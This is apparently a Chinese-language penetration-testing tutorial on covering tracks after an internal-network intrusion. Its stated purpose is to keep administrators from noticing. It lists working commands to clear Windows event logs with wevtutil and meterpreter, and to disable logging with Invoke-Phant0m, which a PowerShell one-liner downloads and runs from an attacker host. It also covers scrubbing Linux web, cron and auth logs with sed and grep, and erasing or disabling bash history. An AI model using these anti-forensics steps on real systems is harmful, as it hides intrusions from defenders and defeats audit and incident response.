内网渗透-Windows&Linux痕迹清除
当我们进行内网一系列的渗透之后,就会留下一些命令的痕迹,我们离开的时候,为了防止管理员发现,我们就需要进行内网渗透最后一个环节的内容了,就是进行痕迹清除。命令有点多,大家好好做一下笔记吧。
Windows痕迹清除Windows日志 如何查看: 事件查看器->windows日志 win+r eventvwr.msc
保存路径: C:\Windows\System32\winevt\Logs
(1)在控制面板中的管理工具中,本地安全策略中的本地策略中的审核策略一些事件的开启(以管理员身份运行) (2)在事件查看器中的安全,右键点击属性,查看日志的路径
Windows日志清理(1)wevtutil.exe: 用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出,存档和清除日志
#获取security的最近十条日志 wevtutil.exe qe Security /f:text /rd:true /c:10 #获取security的前十条日志 wevtutil.exe qe Security /f:text /c:10 #默认视图xml查看(text视图不会输出EventRecordID) wevtutil.exe qe Security /rd:true /c:10
#导出security所有日志到1.evtx wevtutil.exe epl security 1.evtx
wevtutil cl security wevtutil cl system wevtutil cl application wevtutil cl “windows powershell” 有相关的命令可以使用
meterpreter清理日志(2)meterpreter清理日志(必须是在管理员的权限下才能清除) 删除所有在渗透过程中使用的工具 删除之前添加的账号:net user username /del 删除应用程序,系统安全日志:clearev #分别清除了应用程序,系统和安全模块的日志记录。 关闭所有的meterpreter连接:sessions -K
查看事件日志:run event_manager -i 删除事件日志:run event_manager -c
停止日志记录工具 https://github.com/hlldz/Invoke-Phant0m
日志进程分析工具 Process Hacker 2
利用脚本让日志功能失效,无法记录日志 powershell “IEX(new-object system.net.webclient).downloadstring(‘http://192.168.231.147:8000/Invoke-Phant0m.ps1’);Invoke-Phant0m”
我来大家讲解一下具体的停止日志记录步骤吧 首先,下载Invoke-Phant0m到klai上进行监听,也就是这个脚本 我们放入到kali的tools下 打开python中的http服务进行监听 我们查看一下win7的日志进程是哪个,看PID,打开任务管理器,找window服务主进程,svhost.exe 进入服务后,找到eventlog,看到日志记录的进程时812 进入Process Hacker查看一下进程 点击查看一下进程 我这里是已经显示停止了日志的进程了,因为刚才实验的时候,忘记截图了,没能还原之前的记录了。 之前的是有log记录的,我们已经在kali中监听了,我们返回到win7中执行以下脚本,看看有没有回应 powershell “IEX(new-object system.net.webclient).downloadstring(‘http://192.168.231.147:8000/Invoke-Phant0m.ps1’);Invoke-Phant0m” 这里就显示已经停止了。 这里也返回了回应,实验成功了。这时候,我们创建一个用户,看看在事件查看器中是否记录我们的创建的日志 发现并没有被记录,停止日志记录成功了。
Linux痕迹清除(清除日志都必须要管理员权限) ssh远程登录会产生登录日志 last /var/log/wtmp 所成功登录/登出的历史记录 lastb /var/log/btmp 登录号失败尝试记录 lastlog /var/log/lastlog 最近登录记录 w,who /var/log/utmp 记录当前登录的每个用户的信息,它之保留当前连接的用户记录
命令的输出包括:登录名,上次登录时间,IP地址,端口
web日志 /var/log/httpd/access.log /var/log/nginx/access.log /var/log/apache2/access.log
web日志清理 (grep -v,剔除某个元素) cat /var/log/nginx/access.log|grep -v shell.php > /tmp/a.log(重定向的a.log文件) cat /tmp/a.log > /var/log/nginx/access.log
touch a.txt vi a.txt 123 456 789 cat a.txt | grep -v 123 cat a.txt | grep -v 123 > b.txt cat b.txt
sed -i -e “/dvwa/d” ./access.log sed -i -e “/favicon/d” ./access.log(正则匹配,删除含有某个在字符串的日志)
删除所有与改ip相关的地址删除掉 sed -i -e “/192.168.231.147/d” ./access.log日志
定时任务日志 /var/log/cron:记录了系统定时任务相关的日志(可以用sed命令删除) /var /log/secure:记录验证和授权方面的信息,只要设计账号和密码的程序都会记录,比如ssh登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。
操作历史记录 history:显示历史记录 ~/.bash_history:历史记录文件
history -w history -c(只是删除了早缓存中的history记录) cat .bash_history
(写入到.bash_history,-c,清空,>转入到 .bash_history) 删除全部历史记录:history -w && history -c && > .bash_history history -w && history -c && > ~/.bash_history 删除指定行的历史记录:history -d 111 备份还原历史记录:cp .bash_history his.txt 删除100行以后的历史记录:sed -i “100,$d” .bash_history
隐藏历史记录 开启无痕模式,禁用命令历史记录功能 set +o history 恢复 set -o history
后记痕迹清除主要还是一些清除的命令,内网渗透的内容就到这里就结束了。接下来有空的话,给大家讲解一下打靶的内容,大家要好好复习呀。